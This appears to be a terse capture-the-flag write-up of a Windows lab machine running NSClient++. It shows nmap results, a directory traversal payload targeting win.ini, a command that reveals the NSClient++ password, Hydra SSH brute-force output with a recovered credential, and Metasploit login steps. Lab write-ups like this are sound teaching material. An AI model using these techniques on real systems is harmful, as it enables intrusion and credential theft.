21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_02-28-22 06:35PM <DIR> Users
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0)
80/tcp open http
|_http-title: Site doesn't have a title (text/html).
| fingerprint-strings:
| GetRequest, HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Content-type: text/html
| Content-Length: 340
| <script type="text/javascript">
| window.location.href = "Pages/login.htm";
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5666/tcp open tcpwrapped
6063/tcp open tcpwrapped
6699/tcp open napster?
8443/tcp open ssl/https-alt
|_ssl-date: TLS randomness does not represent time
| http-title: NSClient++
|_Requested resource was /index.html
| fingerprint-strings:
| FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
| HTTP/1.1 404
| Content-Length: 18
| Document not found
| GetRequest:
| HTTP/1.1 302
| Content-Length: 0
| Location: /index.html
| iday
| :Saturday
| workers
|_ jobs
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after: 2021-01-13T13:24:20
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
That is a lot of output. It is clear that we have a Windows Server machine with an IIS based website.
21 ftp:
Users/Nadine/Confidential.txt
Users/Nathan/"Notes to do.txt"
So there is some secure folder in Sharepoint for passwords
80 http:
The directory traversal is very simple: /../../../../../../../../../../../../windows/win.ini But it did not work.
This did work. In ‘Program Files’ you can see ‘Windows Defender Advanced Threat Protection’.
This, which I found with searchsploit, might work: NSClient++ 0.5.2.35 - Privilege Escalation
According to the exploit entry, I can grab the Password from C:\Program Files\NSClient++\nsclient.ini:
This also worked: .\nscp.exe web password --display
Lets see if it works for ssh with root. Nope. Also not for Nathan.
With the Python version I get a 403 and with the metasploit version I get that the admin password is wrong.
Privilege Escalation
Using scanner/ssh/ssh_login I could get a metasploit session with nadine:L1k3B1gBut7s@W0rk
I was about to set up dynamic port forwarding to the host, but using netstat -ano I could see that I should be able to regularly access the application.
Watching Ippsecs video since I was stuck here I found out, that the only reason why I could not properly use the website at port 8443 was that it does only work with chromium ;_;
Hydra (
https://github.com/vanhauser-thc/thc-hydra
) starting at 2023-12-11 17:08:57
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 28 login tries (l:4/p:7), ~2 tries per task
[DATA] attacking ssh://10.10.10.184:22/
[22][ssh] host: 10.10.10.184 login: nadine password: L1k3B1gBut7s@W0rk
[22][ssh] host: 10.10.10.184 login: Nadine password: L1k3B1gBut7s@W0rk
1 of 1 target successfully completed, 2 valid passwords found
Program 'winpeas.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted software